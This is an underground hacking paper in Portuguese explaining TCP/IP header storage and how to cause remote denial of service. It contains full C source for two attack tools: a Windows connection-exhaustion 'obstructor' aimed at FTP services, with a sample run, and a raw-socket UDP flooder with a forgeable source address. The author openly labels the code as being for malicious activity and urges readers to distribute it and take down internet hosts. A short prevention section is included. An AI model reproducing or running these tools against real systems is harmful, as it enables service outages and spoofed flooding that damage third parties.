u_char *titulo[]={ "[=] + =================[####]================= + [=]\n", " *** Amenizando Recusa de Servico Remota *** \n", " XxX VIPER CORP GROUP XxX\n", " <-> Underground forever <->\n", "[=] + ================[####]================= + [=]\n\n"}; -----=[ A cena underground brasileira ]=----- Autor : --=[ 6_Bl4ck9_f0x6 ]=---- A.k.a : David Diego D. F. Siqueira Mail : b-fox [at] bol [dot] com [dot] br ----[ Requisitos para um bom entendimento e iniciando Para um bom entendimento sobre o tema que este documento descreve, primeiramente voce precisara entender um pouco sobre programacao de socket em 'C' no windows e *nix[1] (Este ultimo e opcional, apenas para uma "melhor aprendizagem"), depois voce precisa ter uma base sobre o Transmission Control Protocol e modulos do 'TCP/IP'[2], porque veremos um codigo para exploracao em modulos 'TCP/IP'. Dedicarei este texto a 'Izarg' Phoenix of fire, Sandra, Maria Beatriz e Luzinha, elas sao lindas garotas do Brasil e sao muito importantes em minha vida; Enviarei tambem um grande fuck para todo sistema capitalista do Brasil (A 'TV' do "Brasil"). Grande abraco para o 'Edu', meu amigo do blackhat-forums.com (O melhor forum do mundo!) e para 'MM technical' do istf.com.br . Tambem nao poderia esquecer do abraco do "Gramatical Boy" -> Str0ke ;) ----[ Introducao Neste paper ensinarei como causar Recusa de Service Remota em algum daemon ou servico de qualquer host, porque se voce sabe como causar, voce sabera prevenir. Espero que voce goste deste texto e me envie muitos emails com comentarios e "evolucoes" tambem. Demonstrarei passo a passo o processo em uma facil linguagem para sua melhor aprendizagem. Iniciando a destruicao... ----[ Entendendo o armazenamento de dados em modulos do TCP/IP Entao, quando o primeiro modulo no 'TCP/IP' recebe um ethernet frame (eth0) ou dados atraves de um outro tipo de transferencia, ele salva informacoes de origem no layer (camada) Internet (Neste caso, porque os dados sao recebidos) como endereco de origem (Guarde isso em sua mente). Depois o fluxo de dados segue para o proximo modulo, ate a Application layer (Camada de aplicacao) ler o payload enviado pelo cliente da cone- xao. No processo de recebimento cada modulo salva dados especificos e envia o resto dos seguimentos do pacote para modulo acima, ele (O 'modulo') "apenas podera" salvar/restaurar dados referentes a ele. Em uma facil forma de dizer: "Ele apenas pode ler alguns seguimentos do pacote". Os seguimentos que ele (O primeiro 'modulo') nao pode ler, vao para a leitura no proximo modulo. Mostrarei um melhor exemplo. Header IP versao 4 Definido em: /usr/include/netinet/ip.h no Linux Debian +---------------^-------------^--------------------------^------------------^ | - Versao - | - IHL - | - ToS Tipo de servico - | - Tamanho total- | | [ Version ] | [ IHL ] | [ ToS ] | [ tot_len ] | | [4 Bits] | [ 4 Bits ] | [ 8 Bits ] | [16 Bits] | +---------------------------------------------------------------------------+ | - Identificacao - | - Flags - | Fragment offset | | [ ID ] [ 16 Bits ] | [ 3 bits ] | [ frag_off ] [13 bits] | +---------------------------------------------------------------------------+ | - Time to Live - | - Protocolo - | - Checksum do header IP - | | [ ttl ] [8 bits] | [ Protocol ] [ 8 bits ] | [ check ] [16 bits] | +---------------------------------------------------------------------------+ | - Endereco de origem (Source Address) - | | [ saddr ] [ 32 bits ] | +---------------------------------------------------------------------------+ | - Endereco de destinacao. (Destination Address) - | | [ daddr ][ 32 bits ] | +---------------------------------------------------------------------------+ | - Opcoes - | Padding | | [ 24 bits (Ui!) ] | [ 8 bits ] | +---------------------------------------------------------------------------+ | | + - DADOS - + | | +---------------------------------------------------------------------------+ struct iphdr { #if __BYTE_ORDER == __LITTLE_ENDIAN unsigned int ihl:4; unsigned int version:4; #elif __BYTE_ORDER == __BIG_ENDIAN unsigned int version:4; unsigned int ihl:4; #else # error "Please fix " #endif u_int8_t tos; u_int16_t tot_len; u_int16_t id; u_int16_t frag_off; u_int8_t ttl; u_int8_t protocol; u_int16_t check; u_int32_t saddr; u_int32_t daddr; /*The options start here. */ }; Como voce pode ver acima, este cabecalho apenas pode ser lido pelo modulo "Internet" no modelo 'TCP/IP', porque os proximos seguimentos nao sao referentes a ele, como os seguimentos UDP, que trazem porta de origem, porta de destino, etc. Veja o header UDP. Definido em: /usr/include/netinet/udp.h no debian linux struct udphdr { u_int16_t source; u_int16_t dest; u_int16_t len; u_int16_t check; }; ^-----------------------^-----------------------^ | - Porta de origem - | - Porta de destino - | | [source] | [dest] | | [ 16 bits ] | [ 16 bits ] | +-----------------------+-----------------------+ | - Tamanho do header - | - checksum - | | [len] | [check] | | [ 2 bytes ] | [ 2 bytes ] | +-----------------------+-----------------------+ | | | - Dados - | | (Explicacao com relacao ao tamanho adiante) | | | +-----------------------------------------------+ Ainda podemos causar recusa de servico remota usando UDP, porque dados como endereco de origem precisam ser salvos para emissao de uma mensagem de erro ICMP, caso exista algum erro no modulo UDP, como por exemplo uma emissao de mensagem de Port unreachable, caso nao aja nenhuma aplicacao 'escutando' na porta local especificada no seguimento "Destination Port" no pacote que a maquina local recebeu, mas normalmente usando 'UDP' voce podera causar recusa de servico por "flood" e vai derrubar a conexao da vitima e nao apenas de um determinado servico, mas isso tambem depende da velocidade de sua conexao; Com o TCP nos podemos facilmente prevenir algum servidor de recever conexoes de um cliente veridico. Veja agora o porque. ----[ Entendendo tipos de socket Entao amigos, agora e a hora de falar sobre esta coisa de "armazenar" dados. Eu disse que dados como endereco de origem sao armazenados nos modulos e depois os dados/resto dos se- guimentos seguem ate que o payload possa ser lido pelo ultimo layer da pilha 'TCP/IP', agora imagine o seguinte: Dados tambem possuem bytes (Claro). Sao esses bytes que usare- mos para causar o DoS, podemos ate dizer que o kernel do sistema pode ser configurado pa- ra armazenar determinado numero de bytes para cada conexao "estabelecida". Tambem disse que podemos causar DoS usando UDP, mas para isto precisariamos de um constante fluxo de dados, mas isso nao e inteligente porque poderiamos derrubar a conexao da vitima e tambem isto nao nos da uma certificacao de que o daemon sera "obstruido". Se voce usar 'UDP' para causar o DoS que este texto ensina, o verdadeiro cliente da conexao poderia enviar dados com um cliente TFTP por exemplo. Porque? Simples, veja este diagrama para um bom entendimento e continue a leitura, amigo: [----------------------------] | Application Layer | | Payload/Data | /\ [----------------------------] /__\ | Transport Layer | || | TCP - UDP - RAW []------ > Tipos de socket || [----------------------------] || | Internet Protocol Module | || | [network - OSI] | || | [Internet TCP/IP] | || [----------------------------] || | []------ > ARP - Addres Resolution Protocol || | Data Link (OSI) | || |[Access to network - TCP/IP]| || [----------------------------] || | Network interfaces | | [ATN - TCP/IP model] | Data flood | [PHYSICAL - OSI model] | +----------------------------+ Modulo UDP - User Datagram Protocol [SOCK_DGRAM] Usando socket UDP, a pilha apenas armazena os seguimentos no layer "Internet" do modelo 'TCP/IP'. Depois que o modulo UDP encontra a porta requisitada em escuta ele envia o payload para o proxima camada acima e o endereco IP que estava armazenado no modulo abaixo e destruido, mas se a porta nao poder ser achada, ele (O modulo UDP) envia uma mensagem de "Port unreachable" para quem enviou o pacote, o endereco IP do cliente que o kernel armazenou e entao usado para encontrar o endereco de origem e enviar a mensagem ICMP de erro. Depois os dados que foram armazenados sao destruidos dentro do kernel local. Com este protocolo nao existe espera por uma resposta da aplicacao em execucao na maquina do lado do servidor, a.k.a: Vitima. Modulo TCP - Transmission Control Protocol [SOCK_STREAM] Com este tipo de socket nos esperamos uma resposta da aplicacao em execucao na maquina da vitima, porque este tipo de socket e orientado a conexao ("Socket conectado"). Ele espera uma resposta do ultimo modulo e envia para o cliente, um exemplo: Programas de chat. Os dados armazenados no kernel local referenciam o endereco e porta no host da cliente da conexao. Para este socket estabelecer alguma conexao e necessario armazenar dados do cliente, porque ele precisa enviar respostas. Existe alguns servers que podem ser configurados para receber apenas um numero de conexoes especifico, mas podemos configurar o limite de conexoes de muitos servers tambem. Quando nao existe limite para o armazenamento de dados, o server recebe dados ate causar o DoS - "na conexao da vitima". ----[ O segredo vive aqui - Executando o D.o.S Entao, voce agora sabe que quando estabelecemos uma conexao no kernel, tambem armazenamos bytes em sua memoria, referente ao socket criado. Para cada socket creado no kernel remoto, tambem sao armazenados bytes, para causar o DoS - Denial of Service, precisariamos estabe- lecer muitas conexoes em algum servico em execucao na vitima para preencher todo seu kernel, de bytes, ate que seu limite para sockets seja lotado, assim obstruindo o mesmo. Pa- ra executar isso precisariamos apenas de uma simples funcao 'connect()' em uma rotina que executa muitas conexoes ao host remoto e que NAO FECHA ESTAS CONEXOES, ou seja, sem a funcao close(). Isso e simples, olhe a rotina que criei, abaixo. ----[ Prova de conceito escrita para atividades maliciosas (Versao em portugues) -- obstruder.c -- /* * * ======================================== * * ++++++ CORPORACAO VIBORA ++++++ * * * A cena Hacker Underground Brasileira * * ======================================== * * Obstrutor v1.5 - by 6_Bl4ck9_f0x6 * Para windows - Microsoft FTP Service * * Dedico esse prog a minha amada DeboraH. * * ps: Por ser tao gostosa rsrsrs... * Minha futura esposa rapaz! rs * */ #include #include #include #include #include #define FUCK -1 #define CLEAR memset (&(scan.sin_zero), 0x00, 0x08); void banner (){ int xct=0; unsigned char *obstr1[]={ "Obstrutor v1.5 - Obstrutor de servico[s]", "6_Bl4ck9_f0x6 - (C) Copyright Viper Corp", " Microsoft FTP Service.\n"}; while (xct != 3){ puts (obstr1[xct]); xct+=1;} } WSADATA data; SOCKADDR_IN scan; int conexoes, cctc; struct hostent *host; char choice, rcv[1500]; void obstrud (void){ int obstrui=1; int sock[conexoes]; while (obstrui != conexoes){ sock[obstrui]=socket (PF_INET, 1, 0); if ((cctc=connect (sock[obstrui], (struct sockaddr *)&scan, 16)) == FUCK ){ if (obstrui == 1){ fprintf (stderr, "Porta [%d] fechada\n", ntohs (scan.sin_port)); exit (FUCK);} break;} else if (cctc != -1){ memset (&(rcv), 0x00, sizeof (rcv)); recv (sock[obstrui], rcv, sizeof (rcv) -1, 0); if (strncmp (rcv, "421 5", 5) == 0){ printf ("\n [Limite de conexoes alcancado]\n\n"); break;} } system ("cls"); fprintf (stdout, "[%d] Conexoes estabelecidas na porta [%d]\n", obstrui, ntohs (scan.sin_port)); ++obstrui; } } main (int argc, char **argv){ if (argc != 4){ system ("cls"); banner (); fprintf (stdout, "Uso: %s \n", *(argv+0)); exit (FUCK);} WSAStartup (MAKEWORD (1,1),&data); scan.sin_family=AF_INET; scan.sin_port=htons (atoi (*(argv+2)) ); if ((scan.sin_addr.s_addr=inet_addr (*(argv+1))) == INADDR_NONE){ if ( (host=gethostbyname (*(argv+1))) == NULL){ fprintf (stderr, "Nao consegui resolver host!\n"); exit SOCKET_ERROR;} memcpy (&(scan.sin_addr.s_addr), host->h_addr, host->h_length); } CLEAR conexoes = atoi (*(argv+3)); obstrud (); do { printf ("\n=======================================\n"); puts ("[Servico obstruido com sucesso!]"); puts ("[Se quizer liberar o servico tecle 'l']"); printf ("=======================================\n"); system ("color 02"); choice=getch ();} while (choice != 'l'); return 0; } -- cut -- Primeiro passo Microsoft Windows XP [versão 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\David>call Obstruder.exe Segundo passo Obstrutor v1.5 - Obstrutor de servico[s] 6_Bl4ck9_f0x6 - (C) Copyright Viper Corp Microsoft FTP Service. Uso: Obstruder.exe C:\Documents and Settings\David>call Obstruder.exe localhost 22 23 O resultado final e: [20] Conexoes estabelecidas na porta [22] [Limite de conexoes alcancado] ======================================= [Servico obstruido com sucesso!] [Se quizer liberar o servico tecle 'l'] ======================================= Traducao em ingles: twenty connections establisheds in the port 22 Neste caso a porta vinte e dois e a porta que meu servico ftp esta usando. Microsoft Windows XP [versão 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\David>ftp ftp> open Para localhost 22 Conectado a Violator. 421 5 Conexão terminada pelo host remoto. ftp> Voce pode adaptar meu programa para qualquer servico e tambem pode usar esta versao em um outro servico, mas voce nao tera certificacao de que o programa teve sucesso se usar o mesmo em outros servicos e/ou daemons. Para ver "screenshots" de meu pro- grama e saber mais a respeito do mesmo, procure por informacoes no blackhat-forums[3] ou na proxima edicao de minha e-zine (C.O.D.E[4]). ----[ Prevencao A melhor forma de prevencao e nao limitar o numero de conexoes que o server pode receber, e limitar o timeout do daemon/servico, mas esta ultima opcao seria facilmente contornada com a utilizacao de um fluxo constante, sem contar que isso nao e muito viavel por razoes obvias. Este metodo previne a obstrucao de algum servico/daemon. Tambem e bom voce comprar muitos modulos de memoria para previnir queda de seu host, causada por "flood" ou Recusa de Servico Distribuida em sua rede, porque quando os programas slaves recebem a ordem do(s) programa(s) master(s), eles enviam muitos pacotes para algum porta em seu host (elas nao precisam estar em escuta), e se voce nao tiver muita memoria e lagura de banda disponivel, sua maquina pode ser derrubada. Este ataque (DDoS) trabalha explorando recursos da sua maquina, como a ja citada "memory" e largura de banda. Se voce nao tiver a porta requerida pelos slaves, sua maquina tambem trabalhara, porque ela envia resposta de 'Echo (ping) reply'(ICMP echo reply) no caso de requerimento ICMP, por exemplo. Log's interceptados pelo sniffer Ethereal: +--------------------+------------+-----------------+---------+-------------------+ |No. | Time | Source | Destination |Protocol |Info | +--------------------+------------+-----------------+---------+-------------------+ | 3 | 7.391731 |192.168.1.2 | 192.168.1.1 | ICMP |Echo (ping) request| +----+---------------+------------+-----------------+---------+-------------------+ | 4 + 7.391770 |192.168.1.1 | 192.168.1.2 | ICMP |Echo (ping) reply | +----+---------------+------------+-----------------+---------+-------------------+ Como voce pode ver minha maquina tambem trabalha quando nao existe a porta requerida em escuta. Neste caso voce tambem precisara configurar seus firewalls para nao enviar respostas 'ICMP', assim a maquina nao trabalha, "muito" ;) Quando voce faz esta configuracao voce esta tambem prevenindo ataques do tipo smurf que envia pacotes do tipo ICMP 'Echo (ping) request' para enderecos de broadcast de muitas redes com o endereco de origem forjado para parecer que a requisicao esta partindo de algum inimigo seu, a vitima. Assim eles (As maquinas) re- tornam pacotes de resposta para o endereco IP da vitima ou vitimas. Respostas 'ICMP' tambem sao enviadas como resposta para um requerimento UDP ou 'TCP', e isso tambem consome recursos de seu sistema, porque sua maquina envia respostas. Olhe este programa abaixo como prova de conceito. Compile e distribua o mesmo para seus amigos e faca grid para derrubar alguma ma- quina na internet. Com ele voce ainda pode escolher o endereco de origem };P -- cut this file here -- /* * * ======================================= * ++++++ CORPORACAO VIBORA ++++++ * A cena Hacker Underground Brasileira * ======================================= * * Emperial Flooder[UDP] v2.1.1 * for "Unix/Linux" users rulez! * * * Simple UDP Flooder coded by 6_Bl4ck9_f0x6 * * Thanks to: UnixTextMode(UTM), VonNaturAustreVe, * @lyxx, Reeves, Deborah, Mina Mistery, Morticia, * Marcos Flavio, #phobia, Smurf Criminal_s, N1N4, * Hash, Violador and all guys from thebuggers.in * * ********************************************** * http://www.thebuggers.in * ********************************************** * Excelent Underground forum * ********************************************** * * Especial thanks to: * * All members Viper Corp Group. * */ #include // fprintf e tals. #include // Library p/ checagem de erros. #include // struct hostent e functions... #include // exit (), system () e tals. #include // bzero (), memcpy() e tals. #include // getuid (), close () e tals. #include // inet_addr e tals. #include // Neste header ficam shemales oO #include // sendto () e tals. #include // struct sockaddr_in, htons () e tals. #include // struct iphdr e tals. #include // struct udphdr e tals. #define MAXIMUM_TRANSMISSION_UNIT 1500 #define PRINT printf struct iphdr ip_rlz; struct udphdr udp_rlz; struct sockaddr_in Vitima; struct hostent *host; typedef unsigned char Viper_Corp_Rulez; Viper_Corp_Rulez pacote[MAXIMUM_TRANSMISSION_UNIT]; int SoCk, uid=0, indice=0, msg_s=0, XSS, x=1, bytes_send; char * ip_origeM; char * ip_destinO; int port_origeM; int port_destinO; void send_UDP (); int banner (); int main (int argc_rulez, char *Matrix[]){ if (argc_rulez < 7){ banner (); fprintf (stdout, "\nUso: %s \ \n\n", *Matrix); exit (-1);} uid=getuid (); if (uid != 0){ fprintf (stderr, " \n[Seu UID eh [%d], voce deve ser root para\ usar Raw Socket]\n\n", uid); exit (-1);} if ( (SoCk=socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1){ fprintf (stdout, "Erro ao criar socket\n"); exit (-1);} int num_msg_s; num_msg_s=atoi (Matrix[6]); ip_origeM=Matrix[1]; ip_destinO=Matrix[2]; port_origeM=atoi (Matrix[3]); port_destinO=atoi (Matrix[4]); char *msg;msg=Matrix[5]; bzero (pacote, MAXIMUM_TRANSMISSION_UNIT); ip_rlz.version=4; ip_rlz.ihl=5; ip_rlz.tos=0; ip_rlz.id=htons (666); ip_rlz.ttl=255; ip_rlz.frag_off=0; ip_rlz.check=0; ip_rlz.protocol=IPPROTO_UDP; ip_rlz.saddr=inet_addr (ip_origeM); ip_rlz.daddr=inet_addr (ip_destinO); ip_rlz.tot_len=htons (sizeof (struct iphdr) + sizeof (struct udphdr) + strlen (msg)); udp_rlz.dest=htons (port_destinO); udp_rlz.source=htons (port_origeM); udp_rlz.len=htons (sizeof (udp_rlz) + strlen (msg)); Vitima.sin_family=AF_INET; Vitima.sin_port=udp_rlz.dest; Vitima.sin_addr.s_addr=ip_rlz.daddr; memcpy (&pacote, &ip_rlz, sizeof (struct iphdr)); indice=indice + sizeof (struct iphdr); memcpy (&pacote[indice], &udp_rlz, sizeof (struct udphdr)); indice+= sizeof (udp_rlz); memcpy (&pacote[indice], msg, strlen (msg)); indice+= strlen (msg); for (x;x <= atoi (Matrix[6]);x+=1){ send_UDP (); msg_s++;} close (SoCk); PRINT ("\n--- Estatisticas e infos do ataque -------------\n\n"); PRINT ("Total de bytes enviados: [%d]\n", (strlen (Matrix[5]) * msg_s)); PRINT ("----------------------------------------\n"); return (0); } void send_UDP (){ if ((XSS=sendto (SoCk, pacote, indice, 0, (struct sockaddr *)&Vitima, sizeof (struct sockaddr_in)) ) == -1){ fprintf (stdout, "%s", strerror (errno)); exit (-1);} } int banner (){ int cOc=0; system ("clear"); char *banner[]={ "[=] + ===========[####]============ + [=]\n", " *** Emperial Flooder[UDP] *** \n", " XxX VIPER CORP GROUP XxX\n", " <-> Underground Max <->\n", "[=] + ==========[####]============ + [=]\n\n"}; while (cOc != 5){ printf ("%s", banner[cOc]); ++cOc;} return 0;} -- cut here -- ----[ Useful links Berkeley Socket in C for *nixes e Linuxes [1] - http://www.hunterhacker.xpg.com.br/socket_ohhh_yes.txt Understanding a little about OSI and TCP/IP models [2] - http://www.hunterhacker.xpg.com.br/Encapsulamento_OSI_&_TCP-IP.txt Get screenshots of the Obstruder in action [3] - http://www.blackhat-forums.com/ My e-zine (C.O.D.E). Written in my time of adolescent (actually ;) [4] - http://www.hunterhacker.xpg.com.br/CODEx02.txt ----[ Conclusao Que meus sonhos nao sejam apenas ilusoes, que minha vida nao seja sombras e que ela continue olhando por mim de qualquer lugar. O romance apenas existe na distancia... []`s by 6_Bl4ck9_f0x6 - Viper Corp Group